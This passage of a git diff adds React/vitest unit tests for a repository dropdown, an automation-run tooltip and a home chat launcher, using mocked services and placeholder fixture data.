+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-repo-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ it("keeps repository options uniquely keyed when results reorder", async () => {
+ const user = userEvent.setup();
+ const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+ const view = renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ try {
+ await user.click(input);
+ setupDefaultMocks({
+ repositories: [MOCK_REPOSITORIES[2], MOCK_REPOSITORIES[0]],
+ });
+ view.rerender(
+ ,
+ );
+
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["org/feature-repo", "user/repo-one"]);
+ expect(consoleError).not.toHaveBeenCalledWith(
+ expect.stringContaining('unique "key" prop'),
+ );
+ } finally {
+ consoleError.mockRestore();
+ }
+ });
+
+ it("should preserve typed text when clicking input while typing", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+ // Click to open and type
+ await userEvent.click(input);
+ await userEvent.type(input, "repo");
+
+ expect(input.value).toBe("repo");
+
+ // Click on input again (should not reset text)
+ await userEvent.click(input);
+
+ // Text should be preserved
+ expect(input.value).toBe("repo");
+ });
+
+ it("clears an unselected search when the menu closes", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, "repo");
+ await user.keyboard("{Escape}");
+
+ expect(input).toHaveValue("");
+ expect(screen.getByTestId("git-repo-dropdown-menu")).toHaveClass(
+ "hidden",
+ );
+ });
+
+ it("preserves keyboard input when typing opens the menu", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.tab();
+ expect(input).toHaveFocus();
+ await user.keyboard("repo");
+
+ expect(input).toHaveValue("repo");
+ expect(screen.getByTestId("git-repo-dropdown-menu")).not.toHaveClass(
+ "hidden",
+ );
+ });
+ });
+
+ describe("cursor position preservation", () => {
+ it("should allow editing in the middle of input text", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+ // Click and type initial text
+ await userEvent.click(input);
+ await userEvent.type(input, "hello");
+
+ expect(input.value).toBe("hello");
+
+ // Move cursor to position 2 and type
+ input.setSelectionRange(2, 2);
+ await userEvent.type(input, "X");
+
+ // The character should be inserted (exact position may vary based on browser behavior)
+ expect(input.value).toContain("X");
+ });
+ });
+
+ describe("input synchronization", () => {
+ it("should show selected repository name in input when provided", async () => {
+ const selectedRepository = MOCK_REPOSITORIES[0];
+
+ renderDropdown({ value: selectedRepository.id }, { selectedRepository });
+
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+ await waitFor(() => {
+ expect(input.value).toBe(selectedRepository.full_name);
+ });
+ });
+
+ it("preserves an active search when repository data changes", async () => {
+ const user = userEvent.setup();
+ const view = renderDropdown(
+ { value: MOCK_REPOSITORIES[0].id },
+ { selectedRepository: MOCK_REPOSITORIES[0] },
+ );
+ const input = screen.getByTestId("git-repo-dropdown");
+ await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+ await user.click(input);
+ await user.clear(input);
+ await user.type(input, "draft-search");
+ setupDefaultMocks({ selectedRepository: MOCK_REPOSITORIES[1] });
+ view.rerender(
+ ,
+ );
+
+ expect(input).toHaveValue("draft-search");
+ });
+ });
+
+ describe("repository selection", () => {
+ it("should call onChange when a repository is selected", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown");
+ await userEvent.click(input);
+
+ // Wait for dropdown to open and show repositories
+ await waitFor(() => {
+ expect(screen.getByText("user/repo-one")).toBeInTheDocument();
+ });
+
+ // Click on a repository
+ await userEvent.click(screen.getByText("user/repo-two"));
+
+ expect(mockOnChange).toHaveBeenCalledWith(MOCK_REPOSITORIES[1]);
+ await waitFor(() =>
+ expect(screen.getByTestId("git-repo-dropdown-menu")).toHaveClass(
+ "hidden",
+ ),
+ );
+ });
+
+ it("should keep selected repo visible even if it's not in fetched results", async () => {
+ // selectedRepository from useRepositoryData stays null in our default mocks,
+ // which matches the real-world scenario where a recent repo isn't yet loaded.
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+ await userEvent.click(input);
+
+ await waitFor(() => {
+ expect(screen.getByText("user/repo-two")).toBeInTheDocument();
+ });
+
+ await userEvent.click(screen.getByText("user/repo-two"));
+
+ await waitFor(() => {
+ expect(input.value).toBe("user/repo-two");
+ });
+ });
+
+ it("clears a locally selected repository and reports an undefined selection", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+ await user.click(input);
+ await user.click(await screen.findByText("user/repo-two"));
+ await user.click(await screen.findByTestId("dropdown-clear"));
+
+ await waitFor(() => expect(input).toHaveValue(""));
+ expect(mockOnChange).toHaveBeenLastCalledWith(undefined);
+ });
+
+ it("still updates its visible selection when no change callback is provided", async () => {
+ const user = userEvent.setup();
+ renderDropdown({ onChange: undefined });
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+ await user.click(input);
+ await user.click(await screen.findByText("user/repo-one"));
+
+ await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+ });
+
+ it("clears an externally selected repository when the controlled value becomes null", async () => {
+ const selectedRepository = MOCK_REPOSITORIES[0];
+ const view = renderDropdown(
+ { value: selectedRepository.id },
+ { selectedRepository },
+ );
+ const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+ await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+ setupDefaultMocks({ selectedRepository: null });
+ view.rerender(
+ ,
+ );
+
+ await waitFor(() => expect(input).toHaveValue(""));
+ expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument();
+ });
+
+ it("marks an externally selected repository and still lists every repository", async () => {
+ const user = userEvent.setup();
+ renderDropdown(
+ { value: MOCK_REPOSITORIES[0].id },
+ { selectedRepository: MOCK_REPOSITORIES[0] },
+ );
+ const input = screen.getByTestId("git-repo-dropdown");
+ await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+ await user.click(input);
+
+ const options = screen.getAllByRole("option");
+ expect(options).toHaveLength(MOCK_REPOSITORIES.length);
+ const selectedOption = within(
+ screen.getByTestId("git-repo-dropdown-menu"),
+ ).getByRole("option", { name: "user/repo-one" });
+ const unselectedOption = within(
+ screen.getByTestId("git-repo-dropdown-menu"),
+ ).getByRole("option", { name: "user/repo-two" });
+ expect(selectedOption).toHaveAttribute("aria-selected", "true");
+ expect(selectedOption).toHaveClass("bg-[var(--oh-interactive-selected)]");
+ expect(unselectedOption).toHaveAttribute("aria-selected", "false");
+ expect(unselectedOption).toHaveClass(
+ "hover:bg-[var(--oh-interactive-hover)]",
+ );
+ });
+
+ it("uses the latest callback when a selected repository is cleared", async () => {
+ const user = userEvent.setup();
+ const initialOnChange = vi.fn();
+ const latestOnChange = vi.fn();
+ const view = renderDropdown({ onChange: initialOnChange });
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.click(await screen.findByText("user/repo-one"));
+ expect(initialOnChange).toHaveBeenCalledWith(MOCK_REPOSITORIES[0]);
+
+ view.rerender(
+ ,
+ );
+ await user.click(screen.getByTestId("dropdown-clear"));
+
+ expect(latestOnChange).toHaveBeenCalledWith(undefined);
+ expect(initialOnChange).toHaveBeenCalledTimes(1);
+ });
+
+ it("keeps a local selection while an external repository is unresolved", async () => {
+ const user = userEvent.setup();
+ const view = renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.click(await screen.findByText("user/repo-two"));
+ await waitFor(() => expect(input).toHaveValue("user/repo-two"));
+
+ view.rerender(
+ ,
+ );
+
+ await waitFor(() => expect(input).toHaveValue("user/repo-two"));
+ expect(screen.getByTestId("dropdown-clear")).toBeInTheDocument();
+ });
+ });
+
+ describe("repository search", () => {
+ it.each([
+ ["a repository URL", "https://github.com/user/repo-two", "user/repo-two"],
+ [
+ "an incomplete URL",
+ "https://github.com/user",
+ "https://github.com/user",
+ ],
+ ])(
+ "passes the processed search for %s",
+ async (_label, inputText, search) => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, inputText);
+
+ await waitFor(() => {
+ expect(mockUseRepositoryData).toHaveBeenLastCalledWith(
+ "github",
+ false,
+ search,
+ [],
+ inputText,
+ undefined,
+ undefined,
+ );
+ });
+ },
+ );
+
+ it("filters a repository URL by its owner and repository path", async () => {
+ const user = userEvent.setup();
+ renderDropdown();
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, "https://github.com/user/repo-two");
+
+ expect(await screen.findByText("user/repo-two")).toBeInTheDocument();
+ expect(screen.queryByText("user/repo-one")).not.toBeInTheDocument();
+ });
+
+ it("shows repository data directly when URL search supplied a result", async () => {
+ const user = userEvent.setup();
+ renderDropdown({}, {}, { urlSearchResults: [MOCK_REPOSITORIES[2]] });
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, "does-not-match-any-name");
+
+ expect(await screen.findByText("user/repo-one")).toBeInTheDocument();
+ expect(screen.getByText("org/feature-repo")).toBeInTheDocument();
+ });
+
+ it("prioritizes matching recent repositories from the active provider", async () => {
+ const user = userEvent.setup();
+ const otherProviderRepository: GitRepository = {
+ id: "gitlab-1",
+ full_name: "team/gitlab-repo",
+ git_provider: "gitlab",
+ is_public: true,
+ };
+ renderDropdown({}, {}, {}, [
+ MOCK_REPOSITORIES[1],
+ otherProviderRepository,
+ ]);
+
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+
+ expect(
+ screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).toBeInTheDocument();
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["user/repo-two", "user/repo-one", "org/feature-repo"]);
+ expect(screen.queryByText("team/gitlab-repo")).not.toBeInTheDocument();
+
+ await user.type(screen.getByTestId("git-repo-dropdown"), "repo-two");
+ expect(screen.getAllByRole("option")).toHaveLength(1);
+ expect(screen.getByText("user/repo-two")).toBeInTheDocument();
+ });
+
+ it("updates and case-folds recent repositories as the search changes", async () => {
+ const user = userEvent.setup();
+ renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0], MOCK_REPOSITORIES[1]]);
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, "REPO-TWO");
+
+ expect(
+ screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).toBeInTheDocument();
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["user/repo-two"]);
+
+ await user.clear(input);
+ await user.type(input, "missing-repository");
+
+ expect(
+ screen.queryByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("git-repo-dropdown-empty")).toHaveTextContent(
+ translated(I18nKey.HOME$NO_REPOSITORY_FOUND),
+ );
+ });
+
+ it("uses a repository URL to filter recent repositories", async () => {
+ const user = userEvent.setup();
+ renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0], MOCK_REPOSITORIES[1]]);
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, "https://github.com/user/repo-two");
+
+ expect(
+ screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).toBeInTheDocument();
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["user/repo-two"]);
+ });
+
+ it("treats whitespace-only input as an empty search", async () => {
+ const user = userEvent.setup();
+ renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0]]);
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ await user.click(input);
+ await user.type(input, " ");
+
+ expect(
+ screen.getAllByRole("option").map((option) => option.textContent),
+ ).toEqual(["user/repo-one", "user/repo-two", "org/feature-repo"]);
+ expect(
+ screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).toBeInTheDocument();
+ });
+
+ it("shows the localized empty state for an empty repository list", async () => {
+ const user = userEvent.setup();
+ renderDropdown({}, { repositories: [] });
+
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+
+ expect(screen.getByTestId("git-repo-dropdown-empty")).toHaveTextContent(
+ translated(I18nKey.COMMON$NO_REPOSITORY),
+ );
+ });
+ });
+
+ describe("pagination", () => {
+ it.each([
+ ["near the bottom with another page", 70, true, false, 1],
+ ["away from the bottom", 20, true, false, 0],
+ ["near the bottom without another page", 70, false, false, 0],
+ ["near the bottom during an existing fetch", 70, true, true, 0],
+ ])(
+ "requests the next page when scrolled %s",
+ async (_label, scrollTop, hasNextPage, isFetchingNextPage, callCount) => {
+ const fetchNextPage = vi.fn();
+ const user = userEvent.setup();
+ renderDropdown({}, { fetchNextPage, hasNextPage, isFetchingNextPage });
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+ const menu = screen.getByTestId("git-repo-dropdown-menu");
+ setMenuScrollMetrics(menu, { scrollTop });
+
+ fireEvent.scroll(menu);
+
+ expect(fetchNextPage).toHaveBeenCalledTimes(callCount);
+ },
+ );
+
+ it("uses updated pagination state after repository data changes", async () => {
+ const user = userEvent.setup();
+ const initialFetchNextPage = vi.fn();
+ const updatedFetchNextPage = vi.fn();
+ const view = renderDropdown(
+ {},
+ { fetchNextPage: initialFetchNextPage, hasNextPage: false },
+ );
+ await user.click(screen.getByTestId("git-repo-dropdown"));
+
+ setupDefaultMocks({
+ fetchNextPage: updatedFetchNextPage,
+ hasNextPage: true,
+ });
+ view.rerender(
+ ,
+ );
+ const menu = screen.getByTestId("git-repo-dropdown-menu");
+ setMenuScrollMetrics(menu, { scrollTop: 70 });
+ fireEvent.scroll(menu);
+
+ expect(updatedFetchNextPage).toHaveBeenCalledTimes(1);
+ expect(initialFetchNextPage).not.toHaveBeenCalled();
+ });
+ });
+
+ describe("loading feedback", () => {
+ it.each([
+ ["initial repositories", { isLoading: true }, {}],
+ ["repository search", { isSearchLoading: true }, {}],
+ ["the next page", { isFetchingNextPage: true }, {}],
+ ["URL lookup", {}, { isUrlSearchLoading: true }],
+ ])("shows a spinner while loading %s", (_label, repository, urlSearch) => {
+ const { container } = renderDropdown({}, repository, urlSearch);
+
+ expect(container.querySelector(".animate-spin")).toBeInTheDocument();
+ });
+ });
+});
diff --git a/__tests__/components/features/home/home-automation-run-tooltip.test.tsx b/__tests__/components/features/home/home-automation-run-tooltip.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..fb99debaeac95e2f2aa398502c38e60bb2a5e382
--- /dev/null
+++ b/__tests__/components/features/home/home-automation-run-tooltip.test.tsx
@@ -0,0 +1,243 @@
+import { describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+
+import { HomeAutomationRunTooltip } from "#/components/features/home/featured-automations/home-automation-run-tooltip";
+import type { LatestAutomationRunState } from "#/hooks/query/use-latest-automation-runs";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ // Counted keys keep their count, so a test can assert which relative-time
+ // key was chosen *and* the number handed to it, not just the key.
+ t: (key: string, options?: Record) =>
+ options?.count === undefined ? key : `${key}:${options.count}`,
+ i18n: { language: "en" },
+ }),
+}));
+
+const automation: Automation = {
+ id: "auto-1",
+ name: "Release notes drafter",
+ prompt: "Draft release notes",
+ trigger: { type: "cron", schedule: "0 12 * * 5" },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+function makeRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.RUNNING,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ started_at: "2026-08-01T10:00:00Z",
+ completed_at: null,
+ ...overrides,
+ };
+}
+
+function makeState(run: AutomationRun | null): LatestAutomationRunState {
+ return {
+ latestRun: run,
+ recentRuns: run ? [run] : [],
+ isLoading: false,
+ isError: false,
+ };
+}
+
+// The row that opens this hovercard clips a long phase; the hovercard is the
+// place where the whole phase has to be readable.
+const LONG_LABEL =
+ "Rendering the changelog for 37 merged pull requests across 4 repositories";
+
+describe("HomeAutomationRunTooltip — phase", () => {
+ it("shows the phase of a running run in full", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase-row")).toHaveTextContent(LONG_LABEL);
+ });
+
+ it("translates a phase code the frontend knows instead of printing it raw", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase-row")).toHaveTextContent(
+ "AUTOMATIONS$DETAIL$PHASE_BUNDLE_UPLOAD",
+ );
+ });
+
+ it("says how long the run has held the phase, so a stall is visible without opening the run", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("run-phase-row")).toHaveTextContent(
+ "AUTOMATIONS$DETAIL$TIME_MINUTES_AGO:25",
+ );
+ });
+
+ it("shows the phase without an age against a service that sends no timestamp", () => {
+ render(
+ ,
+ );
+
+ const row = screen.getByTestId("run-phase-row");
+ expect(row).toHaveTextContent(LONG_LABEL);
+ expect(row.textContent).not.toContain("AUTOMATIONS$DETAIL$TIME_");
+ });
+
+ it("omits the phase row for a finished run, matching every other surface", () => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("run-phase-row")).not.toBeInTheDocument();
+ });
+
+ it("omits the phase row when the run never reported one", () => {
+ render(
+ ,
+ );
+
+ expect(screen.queryByTestId("run-phase-row")).not.toBeInTheDocument();
+ });
+});
+
+describe("HomeAutomationRunTooltip — task outcome", () => {
+ it("shows completed run task outcome and summary instead of infra error copy", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("AUTOMATIONS$DETAIL$BLOCKED")).toBeInTheDocument();
+ expect(
+ screen.getByText("AUTOMATIONS$DETAIL$TASK_LABEL"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+ ),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText("HUBSPOT_API_KEY was unavailable."),
+ ).not.toBeInTheDocument();
+ });
+});
+
+describe("HomeAutomationRunTooltip — disabled reason", () => {
+ it("surfaces an automatic-pause reason on an inactive automation", () => {
+ const reason =
+ "Paused automatically: auth — Invalid API key. This failed the last 3 runs and needs a configuration fix.";
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("automation-tooltip-disabled-reason")).toHaveTextContent(
+ reason,
+ );
+ });
+
+ it("substitutes the manual-disable label instead of the raw 'manual' value", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByTestId("automation-tooltip-disabled-reason")).toHaveTextContent(
+ "AUTOMATIONS$DETAIL$DISABLED_MANUAL",
+ );
+ });
+
+ it("omits the disabled-reason row for an enabled automation", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("automation-tooltip-disabled-reason"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/home/home-chat-launcher.test.tsx b/__tests__/components/features/home/home-chat-launcher.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e58245b3536113dcd5b410a113adb32bbdbe1563
--- /dev/null
+++ b/__tests__/components/features/home/home-chat-launcher.test.tsx
@@ -0,0 +1,667 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import toast from "react-hot-toast";
+
+import { HomeChatLauncher } from "#/components/features/home/home-chat-launcher";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import WorkspacesService from "#/api/workspaces-service/workspaces-service.api";
+import {
+ LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY,
+ writeStoredLocalWorkspaceMode,
+} from "#/utils/workspace-mode";
+
+const mockNavigate = vi.fn();
+const mockUseActiveBackend = vi.fn();
+const sendMessageWithAttachments = vi.fn();
+const mockClearAllFiles = vi.fn();
+const enqueueHomeTaskPendingMessage = vi.fn();
+const mockDisplayErrorToast = vi.fn();
+const mockUseLlmConfigured = vi.fn();
+
+let mockImages: File[] = [];
+let mockFiles: File[] = [];
+
+vi.mock("#/utils/send-message-with-attachments", () => ({
+ sendMessageWithAttachments: (...args: unknown[]) =>
+ sendMessageWithAttachments(...args),
+}));
+
+vi.mock("#/utils/enqueue-home-task-pending-message", () => ({
+ enqueueHomeTaskPendingMessage: (...args: unknown[]) =>
+ enqueueHomeTaskPendingMessage(...args),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+ useConversationStore: () => ({
+ images: mockImages,
+ files: mockFiles,
+ imagesMarkedUploadAsFile: [],
+ clearAllFiles: mockClearAllFiles,
+ }),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ displayErrorToast: (...args: unknown[]) => mockDisplayErrorToast(...args),
+ };
+});
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+ useNavigation: () => ({
+ currentPath: "/",
+ conversationId: null,
+ isNavigating: false,
+ navigate: mockNavigate,
+ }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => mockUseActiveBackend(),
+}));
+
+vi.mock("#/hooks/use-llm-configured", () => ({
+ useLlmConfigured: () => mockUseLlmConfigured(),
+}));
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+ useIsCreatingConversation: () => false,
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+ useTracking: () => ({
+ trackConversationCreated: vi.fn(),
+ }),
+}));
+
+// Stub CustomChatInput as a simple button so the test can submit without
+// exercising the rich contenteditable / draft-persistence stack — those are
+// covered by their own unit tests. Pressing the stub button is the same
+// signal: "user submitted `hello world`".
+vi.mock("#/components/features/chat/custom-chat-input", () => ({
+ CustomChatInput: ({
+ onSubmit,
+ disabled,
+ }: {
+ onSubmit: (msg: string) => void;
+ disabled?: boolean;
+ }) => (
+ onSubmit("hello world")}
+ >
+ stub submit
+
+ ),
+}));
+
+// Stub the selection dialogs. We mirror the real component's contract:
+// `onConfirm(selection)` is followed by `onClose()` so the parent's pending
+// state is set and the dialog disappears.
+vi.mock("#/components/features/home/open-workspace-dialog", () => ({
+ OpenWorkspaceDialog: ({
+ isOpen,
+ onClose,
+ onConfirm,
+ }: {
+ isOpen: boolean;
+ onClose: () => void;
+ onConfirm: (w: { id: string; name: string; path: string }) => void;
+ }) =>
+ isOpen ? (
+ {
+ onConfirm({ id: "/p/app", name: "app", path: "/p/app" });
+ onClose();
+ }}
+ >
+ confirm
+
+ ) : null,
+}));
+
+vi.mock("#/components/features/home/open-repository-dialog", () => ({
+ OpenRepositoryDialog: ({
+ isOpen,
+ onClose,
+ onConfirm,
+ }: {
+ isOpen: boolean;
+ onClose: () => void;
+ onConfirm: (s: {
+ repository: {
+ id: string;
+ full_name: string;
+ git_provider: "github";
+ is_public: boolean;
+ };
+ branch: { name: string };
+ provider: "github" | null;
+ }) => void;
+ }) =>
+ isOpen ? (
+ {
+ onConfirm({
+ repository: {
+ id: "1",
+ full_name: "org/repo",
+ git_provider: "github",
+ is_public: true,
+ },
+ branch: { name: "main" },
+ provider: "github",
+ });
+ onClose();
+ }}
+ >
+ confirm
+
+ ) : null,
+}));
+
+// HomeGitControlBarPreview pulls in settings + provider hooks we don't care
+// about for these tests. It's purely presentational once a selection is
+// confirmed, so a thin stub is sufficient.
+vi.mock("#/components/features/home/home-git-control-bar-preview", () => ({
+ HomeGitControlBarPreview: ({
+ workspaceMode,
+ backendKind,
+ onWorkspaceModeChange,
+ }: {
+ workspaceMode: "local_repo" | "new_worktree";
+ backendKind: "local" | "cloud";
+ onWorkspaceModeChange: (mode: "local_repo" | "new_worktree") => void;
+ }) => (
+
+
+ {backendKind}:{workspaceMode}
+
+ onWorkspaceModeChange("new_worktree")}
+ >
+ New Worktree
+
+ onWorkspaceModeChange("local_repo")}
+ >
+ Local Repo
+
+
+ ),
+}));
+
+// Stub the picker modal: pressing it selects one plugin then closes, mirroring
+// the real modal's `onChange` + `onClose` contract. The picker catalog itself
+// is covered by plugin-picker.test.tsx.
+vi.mock(
+ "#/components/features/automations/recommended-automations-launcher",
+ () => ({
+ RecommendedAutomationsLauncher: ({
+ variant,
+ className,
+ }: {
+ variant?: string;
+ className?: string;
+ }) =>
+ variant === "rail" ? (
+
+ ) : null,
+ }),
+);
+
+vi.mock("#/components/features/plugins/plugin-picker-modal", () => ({
+ PluginPickerModal: ({
+ onChange,
+ onClose,
+ }: {
+ onChange: (next: { source: string; ref: null; repo_path: null }[]) => void;
+ onClose: () => void;
+ }) => (
+ {
+ onChange([{ source: "github:o/a", ref: null, repo_path: null }]);
+ onClose();
+ }}
+ >
+ pick
+
+ ),
+}));
+
+const renderLauncher = () =>
+ render( , {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ });
+
+function makeConversationResponse(
+ overrides: Record = {},
+): never {
+ return {
+ id: "conv-abc",
+ created_by_user_id: null,
+ status: "READY",
+ detail: null,
+ app_conversation_id: "conv-abc",
+ agent_server_url: "http://agent-server.local",
+ request: { initial_message: undefined, plugins: null },
+ created_at: new Date().toISOString(),
+ updated_at: new Date().toISOString(),
+ ...overrides,
+ } as never;
+}
+
+const localBackend = {
+ backend: {
+ id: "local-id",
+ name: "Local",
+ host: "http://localhost",
+ apiKey: "test",
+ kind: "local" as const,
+ },
+ orgId: null,
+};
+
+const cloudBackend = {
+ backend: {
+ id: "cloud-id",
+ name: "Cloud",
+ host: "https://cloud",
+ apiKey: "test",
+ kind: "cloud" as const,
+ },
+ orgId: null,
+};
+
+describe("HomeChatLauncher", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ vi.clearAllMocks();
+ mockImages = [];
+ mockFiles = [];
+ mockUseActiveBackend.mockReturnValue(localBackend);
+ mockUseLlmConfigured.mockReturnValue({
+ isConfigured: true,
+ isLoading: false,
+ });
+ enqueueHomeTaskPendingMessage.mockResolvedValue(undefined);
+ sendMessageWithAttachments.mockResolvedValue({
+ text: "hello world",
+ content: "hello world",
+ imageUrls: ["data:image/png;base64,abc"],
+ fileUrls: [],
+ timestamp: "2020-01-01T00:00:00.000Z",
+ });
+ window.localStorage.removeItem(LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY);
+ vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({
+ workspaces: [],
+ workspaceParents: [],
+ });
+ // The launcher mounts the pinned/running automation dashboards, whose
+ // queries would otherwise fire real axios XHRs into MSW. If such a
+ // request is still in flight when the file's jsdom environment is torn
+ // down, MSW's XHR interceptor throws `ReferenceError:
+ // XMLHttpRequestUpload is not defined` as an unhandled rejection.
+ // Mocking the underlying service keeps all automation traffic in-process.
+ vi.spyOn(AutomationService, "checkHealth").mockResolvedValue({
+ status: "ok",
+ });
+ vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({
+ automations: [],
+ total: 0,
+ });
+ });
+
+ afterEach(() => {
+ toast.remove();
+ window.localStorage.removeItem(LAST_LOCAL_WORKSPACE_MODE_STORAGE_KEY);
+ });
+
+ it("creates a conversation with just the typed query and navigates when no workspace is selected", async () => {
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(makeConversationResponse());
+
+ renderLauncher();
+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ initialUserMsg: "hello world",
+ metadata: null,
+ });
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-abc"),
+ );
+ });
+
+ it("disables the chat input and won't create a conversation when no LLM is configured", async () => {
+ mockUseLlmConfigured.mockReturnValue({
+ isConfigured: false,
+ isLoading: false,
+ });
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(makeConversationResponse());
+
+ renderLauncher();
+
+ // The send is disabled, so the agent can't be handed a request it can't run.
+ expect(screen.getByTestId("stub-chat-submit")).toBeDisabled();
+ expect(createSpy).not.toHaveBeenCalled();
+ });
+
+ it("passes the picked workspace path as working_dir on a local backend", async () => {
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(
+ makeConversationResponse({ app_conversation_id: "conv-ws" }),
+ );
+
+ renderLauncher();
+ const user = userEvent.setup();
+
+ await user.click(screen.getByTestId("open-workspace-button"));
+ await user.click(
+ await screen.findByTestId("stub-workspace-dialog-confirm"),
+ );
+ await user.click(screen.getByTestId("stub-chat-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ expect(createSpy).toHaveBeenCalledWith({
+ initialUserMsg: "hello world",
+ metadata: null,
+ workingDirOverride: "/p/app",
+ workspaceMode: "local_repo",
+ });
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith("/conversations/conv-ws"),
+ );
+ });
+
+ it("passes the picked workspace path with new-worktree mode when selected", async () => {
+ const createSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue(
+ makeConversationResponse({ app_conversation_id: "conv-wt" }),
+ );
+
+ renderLauncher();
